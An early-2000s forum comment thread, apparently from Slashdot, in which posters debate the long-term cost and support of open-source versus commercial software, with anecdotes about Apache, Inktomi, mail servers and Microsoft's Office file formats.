The trick is to make sure everything is documented and backed up. I.e. make sure you've got an extra copy of the software stashed somewhere the interns can't irrevocable change it, and make them test out all their solutions on an old server before letting them install it on the IMPORTANT server.
The other thing to take into account is how much you're actually going to need to change things. I know people who run a stable Windows ME because they just use Internet Explorer and the Microsoft Works suite that came with it.
If you're going to have this search engine around for 10 years it doesn't sound like there are going to be too many changes made - otherwise we wouldn't even be having this discussion. And that means you may not even need that overpriced corporate support.
Look. To put it bluntly it's very hard to figure out exactly which one will be better. That's because you don't know exactly how it will be used. But as other posters have pointed out - there's no chance of a company going bankrupt, and completely losing your product if you have the code.
The risks in using open source software are the rewards. Now, I doubt that IBM will dissapear anytime soon - but it's concievable Micro$oft could completely subjugate them.
At least with Open Source you know for a fact that in 10 years if your client still wants to run the same search engine but on the newest hardware or OS you can hire an intern to change the code. Cause over 10 years you're going to upgrade SOMETHING, and you have no idea what that new hardware will do with your old commercial app.
Get your hands on a 10 year old computer program - circa MSDOS - and try running it on a modern computer. If you don't get any kind of error running it there's a good chance it's going to do some crazy things - run insanely fast (not in a good way - think of speeding up a record), give you wierd colors, do something it shouldn't.
Then get your hands on 10 year old code. If you compile it it'll probably do the same thing as a 10 year old program. But at least you can change it around and get it running up to spec with modern hardware.
-Dan
The problem is, someone still have to do in-house maintenance of the project. If he is receiving support from the vendor he still has to do his job, and this does not translate into any significant saving of employee's time compared to him learning about the product and getting support from mailing lists. Purely theoretical "time saving" of 48 minutes per day for a person who has to work on the project anyway means nothing -- and most likely negated by the quality of information available.
The analysis would be valid if it was similarly priced "end-user" product that did not require the user to be familiar with concepts and have skills necessary to use mailing lists and documentation, however search engine is not in this category.
Contrary to the popular belief, there indeed is no God.
Emacs, vim - I agree. Except for that without vim, many Unices wouldn't come with an editor and every admin should know to use it - if he doesn't, I'd fire him.
PICO FOREVER!!!!
autopr0n is like, down and stuff.
It all depends more on other factors like how good is the people who are responsable for the production systems in the company. Here, where I work, we have 2 Linux servers side-by-side set up for redundancy (if 1 fails the other continues to do the work). They do all the SMTP and HTTP traffic (about 50 HTTP requests per second) (Squid and Postfix) and basically we don't have to think about them. The only problem is that about 2 times a year we have "memory squeze" errors on the console and one of the machine dies (it's related to the network-card driver eating upp all the mem (for incoming packages) before the kernel starts to swap.
But in short, We never have to think about those machines. They do their job and they do it well.
And yet, it's all "open source" software that runs on them.
echo '[q]sa[ln0=aln80~Psnlbx]16isb572CCB9AE9DB03273snlbxq' |dc
I am a co-founder of a small Finnish company Pronics. We pretty much base our business on giving support (and adminstrating) OSS based systems, mostly various server software like apache, postfix, samba etc, mostly running on Linux. Our site is in Finnish but there is an old, outdated spartan site in English at http://www.pronics.com/en/
++K
<[letter kay][at][number seventy seven][dot][finnish TLD]>
Good example -- I would probably have stuck with whatever solution you have right now. But some things to consider. Yes, you did point out that Exchange does more stuff than your current application, which is correct. Also note that their clustering solution would provide fail-over which is something that you don't seem to have right now with your one dual-processor machine. Finally, the original poster has a problem where he needs to pick between the two or more solutions he has available. You already have investment in some infrastructure, including the machine that you have, and the techs you have on staff that are presumably qualified to maintain the Linux machine. Either way, he needs to hire and/or train people to be proficient in the open source solution or the commercial solution. I can't comment on which is more expensive, but you don't need a full blown MCSE to maintain your mail server, though it is helpful.
Excellent summary of the problem. Using open source for the sake of open source is just silly. Looking at the tool, with all the specifics laid out, is the right way to do it.
Here's the real problem with the TCO of proprietary software: when the company that wrote it stops supporting it or goes out of business, your TCO goes up without limit. What will you do then? Disassemble the binary? Good luck to ya. Not worried about M$ going out of business? You're probably right, but when they hang you out to dry with outdated software and want you to pay a fortune to make it work on their latest release of Windows Megabucks, what *will* you do? Oh, that's right, I forgot: you're a consultant and you'll be long gone with your share of the proceeds of a scam. I don't understand why people don't talk about this more. A floppy disk is more durable than data accessible only with proprietary software.
HALLOWEEN VII:
{MS:} We must fight them with TCO FUD. Nothing Else Works.
{Random Internet "Consultant":} TCO Of Open Source stuff higher, honest!.
In my experience, Open Source TCO is MUCH lower, particularly over any span longer than 3-4 years. Commercial vendors just stop supporting the package and you either upgrade or go through procurement all over again. With open source, you just get a contractor in every couple of years to do a once-over of the code.
Leave.
They don't listen, they will pick pet projects over what will work, so the company is going down the pan, and they don't care for you in the least.
Leave before they kick you out.
Remember to cite the lack of heed you've been given - shows you're a team player,thinking of the company goals.
Over time this tends toward programs that the user population wants to use
Actually over time it tends to result in programs the programming segment of the population wants to use.
It's the same effect that makes Linux wonderful for some but a huge barrier to others. The stuff that makes average Joe want it is not what the programmer will feel is worth programming.
This may of course be different if he's on staff, but that does tend to knacker the "Anyone, anywhere" bit.
What the article shows is that: - there's no easy or tried and tested formula for comparing support "cost" and support "quality/effectiveness" of commercial vs. open source offerings - businesses currently have a model for software purchasing and support which it is not easy to make OSS fit. And it takes time and effort to change business practices and models The responses present some good arguments: - OSS can provide a much safer, much more cost effective option - not all OSS projects are safe though, it depends on how committed and active their community is - proving this has to be done on a case by case basis - OSS is like all other software. It needs good hackers to support it. So whatever support you think you're buying or getting - look at the quality of the people who are delivering it. -- RobW
and others, that it's worthless.
The initial posting seems to imply that if you
pay for a commercial support contract, then your
internal costs for supporting the product are 0.
Not quite my experience. In most cases I've seen,
when you pay for commercial support, you get answers
with about as much insight as you get on your
average OSS mailing list.
So if you pay 8k/year for your inhouse guy to monitor
the OSS mailing list, this is far better than
paying 2k/year for commercial support, because
you'll still need an inhouse guy (or a contractor)
to stay up-to-date on the product which could
easily amount to the same 8k/year you were trying
to save on.
vim, emacs - Outside the nerd kingdome [sic], these would not be considered "successful"
Stephen Pinker, a linguist and author of the book "The Language Instinct," is a long-time emacs user. I don't know if you count linguists like Pinker as part of the "nerd kingdom" (he does have more than just a passing interest in things like lexical analysis after all) but the fact that somebody like him uses emacs should be suggestive to you that it might get some use outside of the domain of "techies." Even if the only people who use emacs are academics, that's still quite a large audience (and many successful companies are specifically aimed at supporting purely academic niches).
___
The ends are ape-chosen, only the means are man's. -- Aldous Huxley
10 Years is a long time.
;-)
I sold my first commercial support for a GNU/Linux system almost 9 years ago:
http://www.hands.com/100005.png
If they still wanted me to support the versions of software that were installed on those machines, I would, but as it happens in that period they've upgraded from slackware (0.99?? kernel) to Debian all the way through to 3.0.
They've also been privatised and split into three separate companies, two of which still use the grandchildren of these first systems, for which I still provide support.
So, while a national institution like British Coal is now history, we're still around, and still willing to support any version of software our clients wish to use.
Tell me a single proprietary vendor who would make the same claim (about historical support), and I'll send you a cookie
Also, when you phone us, like most Free Software firms, you get to talk to someone that actually knows things.
Call a proprietary vendors support line and you'll generally get to talk to some poor sod who is living the nightmare of a call centre, reading pointless scripts at angry customers. This does not generally do much for your inner harmony, and it almost never fixes the problem.
Debian: GNU/Linux done the Linux way
Presently, I'm working for a company which is using an open source component. We have spent a lot of time debugging the component, since the author no longer supports it. I'm sure we have spent way more than we would have if we had bought a closed source component, but our OS component happens to behave in a way we need and has functionality we couldn't find in other off-the-shelf products.
How much could you have spent, time and money, trying to find a proprietary product which did exactly what you wanted? Or in changing the way you worked to suit the available proprietary software...
Beware of m$ bearing F.U.D.
I know you think you are /.'s head iconoclast, but you know as well anyone that MS has NO interest in encouranging crossplatform compatibility in ANY document formats, outside of enough lipservice to fill out the RFP acronym checklist of the day. The *default* save format (i.e. the one that 99% of the user base will use), while possibly being XML based, will no doubt be encumbered by very onerous NDA and licensing restrictions.
Microsoft's idea of "cross platform" office formats is one way. That other programs should be able to output something office can import. Not that other apps should be (easily) able to read the output of an office app.
Comment removed based on user account deletion
But in spite of all this, the OSS only cost a bit more; and that's not even counting benefits other people mentioned, like not having to worry about the vendor tanking, deciding not to support show-stopper featuers, or forced upgrades.
So even though it looks like the closed-source solution is more economically viable, the fact that OSS did so well in spite of its relative disadvantages says something.
TCP: Why the Internet is full of SYN.
You must be a youngster for if you were older than 20 year you would know we are already tired of the old song "I know M$ has done it the bad way till now, but the next version will be the good one".
I'm running a hand-compiled apache/php/mod_ssl Linux box for the webserver. It was easy to do because the docs were understandable and relevant. And I bought several Slackware CDROMs through the years, even after DLing it and burning my own, because it's the right thing to do - PV has to eat to keep churning out the distro. I'm running a Qmail mailserver on Linux, it was easy enough to set up because the docs lead you by the hand every step of the install/configuration process, docs just don't get any better. We're looking into replacing Windoze on the desktops with KDE, but it isn't quite there yet feature-wise. But the dial-in PPP modem thing was an exercise in futility. If that makes me fucking stupid, so be it. I was smart enough to stick the XP box behind a linux firewall with this year's packet-mangler of choice, so I'm not totally brain dead. The economy is tight, we don't have a zillion-dollar IT budget. If OS software works for an application, cool, we'll use it. If it turns out to be more expensive to use than a license from MS costs, MS wins. I would gladly pay serious money for Apache and Qmail, but I wouldn't use mgetty again if I was paid to. Sorry, but that's the way it is.
O UR-OWN-GETTY doc to remain on the web.
There's 2 *nix consultants in the area, both charge $200/hr with a minimum of one day to come out and lay hands on a box. We got the WinXP box and got it all set up for less than that, and the guy charges $50/hr to come and fix it if our in-house Windoze weenie can't make it work. And the XP software has all the trick timeouts built in, we don't have to write (or pay to have written for us) custom shell scripts. So what's more cost-effective?
And anybody who claims to be doing dial-in on a Linux box is a liar - you got the same thing I do, a Windoze machine behind a Linux firewall. If you really were doing dial-in on Linux, you'd have written a useful and correct HOW-TO about it, instead of allowing the 5-year-old HEY-IT-COULD-WORK-IF-YOU'RE-LUCKY-AND-CAN-WRITE-Y
I guess I should have used a sexier subject line...
(Sorry couldn't resist... 8-)
Innocent people shouldn't be forced to pay for inferior software development.
--"Code Complete" Microsoft Press
I run an independently owned and operated web service which uses a remotely-hosted (i.e., co-located) server. I've had my background in Windows NT/2K, so I decided that it was a good idea to use NT/2K as the platform of choice.
I met with amazing amounts of resistance from the other folks I was in on this with. Their arguments, to wit:
1) Microsoft was an evil monster and supporting them in any way, shape or form was immoral, evil, unpleasant, wrong, and stupid.
2) Windows was a piece of crap.
3) Linux was the free open-source alternative to world revolution.
OK, so I'm paraphrasing a bit. But most of the resistance I got was not terribly intelligent; it was of the worst sort of knee-jerk reactionism I see all too often here (sorry, but it's true). I told them that frankly I didn't have time to use Linux, since I didn't know it, and I had all the software anyway, pre-licensed.
We had our site running in less than a week and have never had anything more major than having to pause the system to do in-place upgrades. The site is solid as a rock.
Part of this, of course, is that I took pains to know what the hell I was doing. Most MCSEs are, sadly, idiots: they don't realize that in order to really know Windows you have to literally eat your own dog food, and since I was a user of the service as well as the main programmer and sysop, I had to learn the ins and outs of what I was doing far more intimately than if I'd just zombie-walked through some course.
No, Windows is not perfect, but it is a damn good solution for many problems, and what I have seen of it has made me decide to stick with it. Yes, I have had to pay for it, and while I know I could have done the same thing for free with Linux and open source solutions, I don't think I could have accomplished one-tenth of what I was able to do. People who diss Windows' user-friendliness are dissing one of the things about it that makes it so damn important. People will pay for that.
People who are comparing OSS to commercial software need to interface with people who have a business plan which involves assisting them, which may not be the all of the people involved in the project. Their thing is developing clever software and that is great. What potential commercial users need is a data base which lists consultants who support particular projects. It would list the name, projects supported, geographical area served, level of involvement (project lead, contributor, or just providing support), and contact information. A person contimplating using OSS would search the data base to establish what support is available. Users would benefit from having more choices. The system would promote a dynamic market place for support of Open Source Software. Users of OSS would benefit because they would know that if their consultant did not give the desired level of service or raised fees to an unreasonable level, others would be happy to take his/her place. If they wanted to develop some level of expertise internally, the information to so would be readily available. They would know that if they wanted to make extensions to the software, the source code would be available. This is the way to take the problem described in the posting and make it a win for OSS.
The company I work for is implementing a Managment system with a CMS (web based). My predecessor(sic) went the familair windows route and contacted a comercial company for their Windows hosted, with a very poor windows visual basic data entry tool,system. we paid around $6000 in all for this. The problem was that their system was almost totally inflexible and being based on a C++ CGI, had to be recompiled and debugged with attendant devlopment costs for every tiny change (There was no CSS support etc). On top of this they left their ftp server completely open so that strangers could basically just walk in and view sensitive company data. requests for support went unanswered for weeks at a time.
In the end we decided to cut our losses and we went for the OSS CMS at www.muze.nl. The developers were incredibly friendly, gave enormous amounts of support along with page long email tutorials and and ended up doing custom development work for whole new modules for a total price of less than half of what we paid the commercial company.
I don't think that one can just say across the board that OSS or CS is better or cheaper. It depends on the company.
In your case I would have used google.
Apparent personal slurs apart, I am interested not in intentions but rather results.
How are Microsoft's "intentions" not relevant? By and large, all of Microsoft's attempts to lock the user into proprietary formats and protocols has been *intentional* and, I might add, fairly effective (see also Kerberos and CIFS)
There have been numerous reports that contradict your position.
Will the "save as XML" be default or not? You did not address this point.
You also claim that the XML-file format is protected by NDA. I have no idea how you can possibly claim that, or even think its possible. XML is plain text. Plain text. Its composed of plain, non-binary, ASCII or UNICODE text. Anyone with a text editor can open the document, anaylze the structure, and begin working with it. Are they suddenly going to make everyone with a text editor sign an NDA? Really, please explain your simply baffling claim.
Not sure what you are getting at. Whether something is in "plain ASCII/UNICODE text" or not has no bearing on anything regarding NDAs, patents, copyrights, trademarks, or any other type of restrictive IP I am aware of. Just because I am ABLE to reverse-engineer a format (it being ASCII only simplifying the task) does not make it legal for me to do so if I have signed an NDA.
Dismissing my claim as "simply baffling" certainly does not make *your* point any less coherent.
As many others have pointed out, this post is rather lacking in any rigorous analysis, just rather vague assumptions and guesses on a single example. Certainly not a statistically sound study by any means.
d =5 81&e=3&cid=581&u=/nm/20021109/tc_nm/tech_microsoft _opensource_dc
Rather, it reminds me of project plans written by non-technical managers with little knowledge of the subject matter, who then turn the plan over to architects and developers, and expect them to build the system in a certain time period and a certain budget.
So I was none too surprised to see this article a few days later. It seems M$ can't compete with open-source on quality, so their going the TCO route.
http://story.news.yahoo.com/news?tmpl=story&nci
Anyway, good subject, sure to be a hot topic, hopefully the quality of the analysis can be improved a bit.
This paper argues that the long run total cost of operations (TCO) for a suite of proprietary software must necessarily be greater than that for an equivalent suite of free software, with the TCO benefits maximised in the case of the GPL and GPL-like free software... read on..!
In practice, to run a successful production setup you're going to need to have your IT staff acquire expertise in the products used, open source or not. In most cases, except for extremely expensive software, this cost far outwieghs the license fees.
Certain vendors would have you believe their products are "fire and forget" and that because most point operations are UI based you can just hire anyone off the street to run them and send them for a two-week certification in mouse-holding at the local tech college, but the reality is quite different - a knowledgeable and skilled sysadmin is a rare find, and indispensable in running real services.
I am CTO at an ASP software provider; our production infrastructure runs our own code with a mixture of open and closed sourced tools. Rarely is it necessary for us to get in the hairy details, but when we do, in my experience the ultimate resort option of being able to look into the source and see what is going on outweighs the benefit of having a formal support contract, even if you never touch the code.
For example...
1. there was a long standing issue with Apache whereby mod_redirect had been designed to URLescape constant strings in the httpd.conf file used in its output; in my view this was a minor design oversight (if I wanted them URLescaped, and it didn't do it, I could always URLescape them myself, whereas because it did and I didn't, I was stuck) and a number of Apache bugDB entries were open against it. As someone with very rusty C skills (we use Java) and who had never touched Apache source before, it took me only a couple of hours to look into the code and see what was happening, make the one line change to remove the URLencode call, and recompile it. One happy camper. I wrote up an explanation for the Apache dev list, and the maintainer of the module added an option (ships from 1.3.20 on) to switch the auto-encoding off. Many happy campers.
2. (To be topical) We use Inktomi as our search engine, and in my 10+ years of experience with tech support from all kinds of vendors form PC builders to Cray Research, their support desk is pretty good. We had a problem with their crawler whereby it was getting tangled up in session id's in URLs vs session id's in cookies, and it was generating a lot of unnecessary duplicates before figuring out they were identical and pruning them. We called their support, who suggested we hook our own URL filtering code into an API they provide (the crawler is Python). This didn't fix the issue, and it quickly became apparent (without having source to examine) that the call-out to customer-supplied URL filter code only happens after it has fetched, indexed and de-duped all the pages, no help in this case. Merely *communicating* this difference took several emails, culminating in sending them a block diagram of how we had deduced the internals of their product worked, and arrowing the two points (where we needed the API, and where it was) and getting a developer on the phone. Ultimately, we resolved the problem by special-casing the URL generation in our own product to work around this limitation.
And I am still waiting for an option in MS-Word to NOT repaginate when changing between a B/W and colour printer with the same paper size
I have also been in situations where I have had the benefit of access to the source code for a commercial product which was otherwise nominally closed source, and the extra flexibility is a great benefit when resolving complex issues; on more than one occasion got on the phone with the vendor, exchanged ideas, made a quick fix and rebuilt the binary so work could proceed, and let them send us a tidy / proper fix in the fullness of time.
In short, if you have an open source product with a vibrant community around it, you have several more options than with a closed product. I would not advocate using open source code from a project that has withered on the vine for mission critical work, just like I wouldn't recommend using a commercial product that has been end-of-lifed. However, if you ARE prepared to take over maintaining the code base as an in-house product you always have that option with open source; with closed source it's extremely rare to get the chance (though I have taken over a commercial source base once before).
I'll make you a different wager - either (a) the so-called XML format will be so in name only, (e.g. a bunch of attributes will be Office COM objects serialised in base64, or undefined enumeration types) or (b) it will never happen, and they'll go on using .doc and .xls (modified of course to be incomaptible with Office XP to force upgrades on everyone who gets Office files by email), or (c) they'll do something funky to produce a copyright-enforced monopoly on the format (e.g. Word only processes files digitally signed with an MS PKI key which is "copyrighted") c.f. the Sony PS/PS2 trick.
If MS produces an open or easily reverse-engineerable* format I'll eat my shorts.
* before the Americans jump, reverse engineering for the purposes of developing interoperable products (not just software) is not only legal but in fact a protected right in many developed countries, i.e. it can't be taken from you by a monopolist with an EULA even with your consent.
Why can't companies get a support contract with their friendly neighborhood IT consulting company? I work for one in NYC and we have a couple clients who rely on us for all different kinds of support - network, or firewall (linux based), qmail, etc... they have 24/7 or 9-5 or what have you.
Wouldn't this be a win/win for everyone?
And then the consulting companies don't have to go out of business, free software gets support and the company using it can feel warm and fuzzy.
Just a thought.